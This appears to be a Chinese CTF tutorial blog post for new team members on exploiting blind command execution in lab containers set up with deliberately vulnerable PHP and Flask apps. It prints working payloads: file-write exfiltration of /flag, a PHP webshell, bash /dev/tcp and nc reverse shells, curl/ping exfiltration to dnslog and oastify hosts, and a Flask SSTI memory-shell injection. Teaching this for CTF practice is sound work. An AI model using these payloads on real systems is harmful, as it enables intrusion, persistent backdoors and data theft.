200字
[面向新生]浅谈无回显环境下的若干利用手法
2025-12-07
2025-12-07

前言:最近发现校队里的小登们遇到无回显有些手足无措,此文仅记录我在为小登们技术分享前的一些准备工作,其间也遇到过诸多问题,我将解决问题的思考也写在文中,本文中出现的解法不代表唯一方法🤗

PHP

环境准备

演示环境:php7.4的docker,起在VMware的ubuntu-26.04

Dockerfile

FROM php:7.4-apache

RUN echo "flag{oh_you_see_me!!!}" > /flag

COPY index.php /var/www/html/

RUN echo "deb https://mirrors.aliyun.com/debian/ bullseye main" > /etc/apt/sources.list && \
    echo "deb https://mirrors.aliyun.com/debian/ bullseye-updates main" >> /etc/apt/sources.list && \
    echo "deb https://mirrors.aliyun.com/debian-security bullseye-security main" >> /etc/apt/sources.list

RUN apt-get update && \
    apt-get install -y netcat-openbsd && \
    rm -rf /var/lib/apt/lists/*
    
RUN chown root:root /flag && chmod 644 /flag

EXPOSE 80
CMD ["apache2-foreground"]

index.php

<?php

highlight_file(__FILE__);

if (isset($_POST['cmd'])) {
     exec($_POST['cmd']);
 }
?>

利用方法

测试RCE口子

如果拿到一个口子疑似可以RCE,但无回显,可以怎么判断命令可以被执行?

这里抛出一个简单的方法,直接执行sleep。

Payload:

cmd=sleep 5

利用sleep函数来直观判断命令是否被执行,这里命令被执行了,可以看到等待时间约为5s。

但由于题目环境及网络环境等因素,直接看Network里的等待时间并不一定准确,可以视环境调大sleep的值,凭借主观去判断这个网页是否真的sleep了(转圈圈加载的时长是不是异于正常情况)

当然,测试的方法并不限于sleep,这里仅简单介绍这一种方法,其他的交给你们去探索:)

下面开始介绍如何取到flag的方法,测试环境不含WAF,具体情况请具体分析。

外带文件

在你不了解flag在哪时,可以先写一些常见可读取文件来测试命令是否可执行,Linux下可以测/etc/passwd

首先我们要了解一些前置知识:tee命令、管道符|、重定向命令>>>

简单来说就是:

tee命令用于读取标准输入的数据,并将其内容输出成文件。

管道符|是一种用于将一个命令的输出传递给另一个命令作为输入的符号。

> 覆盖内容到某处,覆盖文件原有内容。

>> 追加内容到某处,不会覆盖文件原有内容。

Payload:

cat /flag | tee 1.txt 
//执行完cat后,输出的内容(flag)会被管道符传给tee命令,tee命令将其写到当前目录的1.txt里(没有这个文件会创建)
cmd=cat /flag | tee /var/www/html/2.txt 
//同上,只不过此处是绝对路径写法
cat /flag > 3.txt
//直接把读出的内容定向写入当前目录的3.txt(没有会创建)
cat /flag >> /var/www/html/3.txt
//绝对路径写法,追加读出的内容到3.txt

盲写shell

盲写一句话木马到文件里,前提是可以写文件且你知道你能访问啥(还要注意waf)

cmd=echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php
//echo出''包裹的内容,这段内容(一句话木马)会被写到你所提供的路径中
cmd=echo '<?php system($_GET["c"]); ?>' > she11.php
//相对路径同理

反弹shell

遇到无回显且不让你写文件的话,反弹shell应该是优先选择了,反弹shell还有个好处是可以帮你跳过WAF的限制,但是注意反弹shell的命令很多,但是要注意环境不一定有相关的工具存在,需要多尝试。

shell命令很多记不住怎么办?Hackbar其实内置了一些payload可以用,这里再推荐一个命令生成器:https://www.ddosi.org/shell/

这里我的docker拉的是php:7.4-apache使用的是 OpenBSD 版本的 netcat,默认装的nc还没有-e和-c选项,这里弹不到交互式的shell,但是也足以证明出网了。

cmd=nc <your-IP> 2333

既然nc做不到,那就尝试一下别的,这里是可以用bash的

Debian/Ubuntu 的默认 Shell (/bin/sh) 是 dash,而不是 bash,所以我们还得加个bash -c "命令"才能利用bash弹shell

Payload:

cmd=bash -c "sh -i >& /dev/tcp/<your-IP>/2333 0>&1"
//这里的&在post传参时会被认为是第二个参数的连接符,需要url编码一下
cmd=bash%20-c%20%22sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<your-IP>%2F2333%200%3E%261%22

其他弹shell的命令不再一一赘述。

DNS带外

有时候,如果防火墙之类的设置挡住了你反弹的shell,dns带外值得一试,但是还是那句话,环境不一定有工具。

DNS域名平台:http://www.dnslog.cn/、yakit自带

我常用的还有:Burp的Collaborator功能,优点在于它同时监听 DNS 和 HTTP/HTTPS

这里用到的目标命令:

ping -c 1 \$(cat /flag).xxx.dnslog.cn
//ping命令中$()内的部分是想要执行的命令,xxx.dnslog.cn是在dns生成的命令
//反斜杠\是为了防止$被转义
curl http://<bp的collaborator生成的链接>/$(cat /flag | base64 | tr -d '\n')
curl http://$(cat /flag | base64 | tr -d '=\n').xxx.dnslog.cn
//curl命令的写法

这里我vm的配置估计有点问题,dns带不出来,如果复现遇到一样的问题,可以把环境开vps上。

Payload:

cmd=curl+http%3A%2F%2F%24%28cat+%2Fflag+%7C+base64+%7C+tr+-d+%27%3D%5Cn%27%29.7zw82m.dnslog.cn
//发送遇到问题,可以考虑url编码一下
//原命令curl http://$(cat /flag | base64 | tr -d '=\n').7zw82m.dnslog.cn
cmd=curl+http%3A%2F%2Fksgwplnszfzzv6b9y3u93988cziq6lua.oastify.com%2F%24%28cat+%2Fflag+%7C+base64+%7C+tr+-d+%27%5Cn%27%29
//bp的collaborator功能个人认为比dnslog好用一些
//原命令cmd=curl http://ksgwplnszfzzv6b9y3u93988cziq6lua.oastify.com/$(cat /flag | base64 | tr -d '\n')

dns收到的响应如:

collaborator收到的响应如:

Python-flask

这里简单来了解一下内存马,内存马不同于我们上面写的php的webshell,需要真正写一个文件或者把恶意代码放进已有文件,内存马不需要落地,只需要利用某些中间件的进程来执行,达到getshell。

环境准备

这里我仅准备了flask3.x版本的环境,如有需要复现flask2.x的旧🐎打法,换成旧版镜像即可

Dockerfile

FROM python:3.9-alpine

 WORKDIR /app

 COPY app.py .

 RUN pip install flask \
     -i https://pypi.tuna.tsinghua.edu.cn/simple \
     --no-cache-dir

 RUN echo "flag{oh_you_see_me!!!}" > /flag

 EXPOSE 5000

 CMD ["python", "app.py"]

app.py

from flask import Flask, request, render_template_string

 app = Flask(__name__)

@app.route('/')
def index():
     code = request.args.get('code', '')
     return render_template_string(code)

if __name__ == '__main__':
     app.run(host='0.0.0.0', port=5000)

注入内存马

这里是flask3.x的内存马,仅作为演示

?code={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

想了解更多内存马的相关知识可看baozongwi师傅文章:https://baozongwi.xyz/p/flask-memory-shell-analysis/

评论